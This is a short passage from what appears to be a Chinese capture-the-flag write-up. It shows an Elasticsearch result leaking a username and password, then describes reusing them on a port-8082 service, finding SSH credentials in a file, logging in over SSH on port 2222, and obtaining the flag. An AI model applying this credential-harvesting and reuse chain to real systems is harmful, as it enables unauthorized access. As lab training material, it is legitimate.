"_id" : "2eSE84MBoy7sRgaelu2S",
"_score" : 1.0,
"_source" : {
"username" : "ctfer",
"passwd" : "1qaz@WSX",
"ttl" : "false",
"msg" : "good luck ctfer"
}
}
]
}
}
null

得到用户名ctfer,密码1qaz@WSX

登录8082端口的服务,找到一个 ssh_info 文件,得到 ctfer/91431d5438eb28f7

用这个用户名密码 ssh登录2222端口,得到flag

flag5{Ez_G0laNg_SsRf}